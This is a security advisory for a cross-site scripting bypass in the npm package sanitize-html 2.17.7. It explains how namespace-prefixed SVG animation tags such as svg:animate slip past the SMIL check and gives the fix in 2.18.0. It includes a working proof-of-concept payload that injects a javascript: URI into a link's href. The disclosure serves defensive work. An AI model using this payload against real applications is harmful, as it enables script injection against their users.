---
id: CVE-2026-113657
aliases:
  - GHSA-374f-7chj-9948
title: >-
  ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows
  javascript: URI injection (XSS)
summary: >-
  ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows
  javascript: URI injection (XSS)
severity: low
cvss: 3.7
cwe:
  - CWE-79
vendor: sanitize-html
product: sanitize-html
ecosystem: npm
affected:
  - 'sanitize-html >= 2.17.7, < 2.18.0'
patched:
  - sanitize-html 2.18.0
published: '2026-10-20'
updated: '2026-10-20'
sourceUpdated: '2026-10-20T18:21:20Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-374f-7chj-9948'
references:
  - url: >-
      https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
  - url: >-
      https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
  - url: >-
      https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0
  - url: 'https://github.com/advisories/GHSA-374f-7chj-9948'
tags:
  - ghsa
  - npm
  - cve.org
  - exploit-available
exploitAvailable: true
ssvc:
  exploitation: poc
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-20T17:07:42.782981Z'
ingestedAt: '2026-10-20T17:12:53.597Z'
---

## Overview

## Summary

sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).

## Root Cause

The `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `["animate", "animatecolor", "animatemotion", "animatetransform", "set"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(":") + 1)` — but this same stripping was not applied to the tag name itself.

## Proof of Concept

```javascript
const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
```

All 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

## Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `<svg:animate attributeName="href" values="#safe;javascript:..." .../>` to override the `href` attribute of a parent `<a>` element after the page loads, causing the link to execute JavaScript when clicked.

## Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

```javascript
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
```

## Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

## Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

## Affected packages

- `sanitize-html >= 2.17.7, < 2.18.0`

## Remediation

Upgrade to a patched release:

- `sanitize-html 2.18.0`